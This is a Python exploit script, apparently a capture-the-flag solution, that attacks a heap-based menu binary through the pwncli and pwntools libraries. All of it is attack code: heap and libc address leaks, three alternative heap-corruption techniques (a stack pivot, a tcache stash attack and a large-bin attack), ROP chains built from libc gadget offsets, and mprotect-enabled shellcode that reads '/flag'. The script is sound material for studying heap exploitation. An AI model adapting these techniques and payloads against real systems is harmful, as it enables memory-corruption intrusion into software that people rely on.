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#!/usr/bin/python3
from pwncli import *
cli_script()
libc:ELF = gift['libc']
idx_size = {1:0x10, 2:0xf0, 3:0x300, 4:0x400}
context.buffer_size=0x1000
def get(p:tube, idx, sizeidx, content=None):
if content is None:
content = "a\n"
p.sendlineafter("Your input: ", "1")
p.sendlineafter("Please input the red packet idx: ", str(idx))
p.sendlineafter("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ", str(sizeidx))
p.sendafter("Please input content: ", content)
def throw(p:tube, idx):
p.sendlineafter("Your input: ", "2")
p.sendlineafter("Please input the red packet idx: ", str(idx))
# only one time
def change(p:tube, idx, content):
p.sendlineafter("Your input: ", "3")
p.sendlineafter("Please input the red packet idx: ", str(idx))
p.recvuntil("Please input content: ")
p.send(content)
def watch(p:tube, idx):
p.sendlineafter("Your input: ", "4")
p.sendlineafter("Please input the red packet idx: ", str(idx))
msg = p.recvline()
info("recv msg:{}".format(msg))
return u64(msg[:-1].ljust(8, b"\x00"))
def stack_overflow(p:tube, content):
p.sendlineafter("Your input: ", "666")
p.sendafter("What do you want to say?", content)
def exit_p(p:tube):
p.sendlineafter("Your input: ", "5")
def get_rop(libc_base_addr, fill_chunk_addr):
rax_ret = libc_base_addr + 0x47cf8
rdi_ret = libc_base_addr + 0x26542
rsi_ret = libc_base_addr + 0x26f9e
rdx_ret = libc_base_addr + 0x12bda6
sys_ret = libc_base_addr + 0xcf6c5
rop = flat(rdi_ret, fill_chunk_addr,
rsi_ret, 0,
rax_ret, 2,
sys_ret,
rdi_ret, 3,
rsi_ret, fill_chunk_addr+0x350,
rdx_ret, 0x30,
rax_ret, 0,
sys_ret,
rdi_ret, 1,
rsi_ret, fill_chunk_addr+0x350,
rdx_ret, 0x30,
rax_ret, 1,
sys_ret)
return rop
# use stack pivot
def attack(p:tube):
# leak heap address
get(p, 5, 4)
leak_heap_addr = watch(p, 2)
log_address("leak_heap_addr", leak_heap_addr)
heap_base_addr = leak_heap_addr - 0x1270
# leak libc addr
leak_libc_addr = watch(p, 3)
libc_base_addr = leak_libc_addr - 0x2199f0
libc.address = libc_base_addr
log_address("libc_base_addr",libc_base_addr)
# to free chunk 0x1010
victim_address = heap_base_addr + 0x260
change(p, 2, p64(victim_address))
throw(p, 5)
# to fill 0x800 to 0x7fffffffffff
get(p, 0, 2)
get(p, 1, 4)
# rop payload
fill_chunk_addr = heap_base_addr + 0x770
rop = get_rop(libc_base_addr, fill_chunk_addr)
payload = flat({
0:"/flag".ljust(8, "\x00"),
0x18: rop,
0x2e8: 0,
0x2f0: 0x7fffffffffff,
0x2f8: 0
}, filler="\x00")
get(p, 3, 4, payload)
# stack pivot and exec rop to get flag
payload = flat({
0x80:fill_chunk_addr+0x10,
0x88:libc_base_addr+0x58373
}, filler="\x00", length=0x90)
stack_overflow(p, payload)
p.interactive()
# use tcache stash attack
def attack2(p:tube):
chunk_type = 4
# leak addr
for i in range(8):
get(p, i, chunk_type)
get(p, 8, 1) # gap
get(p, 9, chunk_type)
get(p, 10, 1) # gap
# leak heap addr
throw(p, 0)
throw(p, 1)
leak_heap_addr = watch(p, 1)
heap_base_addr = leak_heap_addr - 0x1270
log_address("heap_base_addr", heap_base_addr)
# fill 0x400 7
for i in range(2, 7):
throw(p, i)
# fill 0x100 6
for i in range(6):
get(p, i, 2)
throw(p, i)
# leak libc addr
throw(p, 7)
leak_libc_addr = watch(p, 7)
libc_base_addr = leak_libc_addr - 0x1e4ca0
libc.address = libc_base_addr
log_address("libc_base_addr", libc_base_addr)
# split chunk
get(p, 0, 3)
throw(p, 9)
get(p, 1, 3)
# put 0x100 to smallbin
get(p, 2, 4)
# change smallbin 2 's bk to 'target addr - 0x10'
fill_chunk_addr = 0x3310 + heap_base_addr
rop = get_rop(libc_base_addr, fill_chunk_addr)
payload = flat({
0:"/flag".ljust(8, "\x00"),
0x18: rop,
0x300:0,
0x308:0x101,
0x310:heap_base_addr+0x31e0,
0x318:heap_base_addr+0xa50
}, filler='\x00')
change(p, 9, payload)
# stash attack
get(p, 3, 2)
# stack pivot and exec rop to get flag
payload = flat({
0x80:fill_chunk_addr+0x10,
0x88:libc_base_addr+0x58373
}, filler="\x00", length=0x90)
stack_overflow(p, payload)
p.interactive()
# use large bin attack
def attack3(p:tube):
chunk_type = 4
# leak addr
for i in range(8):
get(p, i, chunk_type)
get(p, 8, 1) # gap
get(p, 9, chunk_type)
get(p, 10, 1) # gap
get(p, 11, chunk_type)
get(p, 12, 1) # gap
# leak heap addr
throw(p, 0)
throw(p, 1)
leak_heap_addr = watch(p, 1)
heap_base_addr = leak_heap_addr - 0x1270
log_address("heap_base_addr", heap_base_addr)
# fill 0x400 7
for i in range(2, 7):
throw(p, i)
# leak libc addr
throw(p, 7)
leak_libc_addr = watch(p, 7)
libc_base_addr = leak_libc_addr - 0x1e4ca0
libc.address = libc_base_addr
log_address("libc_base_addr", libc_base_addr)
# to get a large bin
throw(p, 9)
fake_fd = heap_base_addr + 0x3310-0x10
target_write_addr = heap_base_addr + 0xa60+1
payload = flat(0, target_write_addr - 0x10)
get(p, 0, 1, payload)
throw(p, 11)
# large bin attack
change(p, 7, p64(fake_fd))
fill_chunk_addr = 0x3330 + heap_base_addr
rdi_ret = libc_base_addr + 0x26542
rsi_ret = libc_base_addr + 0x26f9e
rdx_ret = libc_base_addr + 0x12bda6
rsp_ret = libc_base_addr + 0x30e4e
retf = libc_base_addr + 0x12c351
shellcode_addr = fill_chunk_addr+0x100
rop = flat([
rdi_ret, heap_base_addr,
rsi_ret, 0x4000,
rdx_ret, 7,
libc.sym['mprotect'],
shellcode_addr,
])
shellcode = asm(shellcraft.cat("/flag"))
payload = flat({
0:"input:\n".ljust(8, "\x00"),
0x18: rop,
0x100: shellcode
}, filler='\x00', length=0x250)
get(p, 1, 3, payload)
# stack pivot and exec rop to get flag
payload = flat({
0x80:fill_chunk_addr+0x10,
0x88:libc_base_addr+0x58373
}, filler="\x00", length=0x90)
stack_overflow(p, payload)
p.interactive()
attack3(gift['io'])
|
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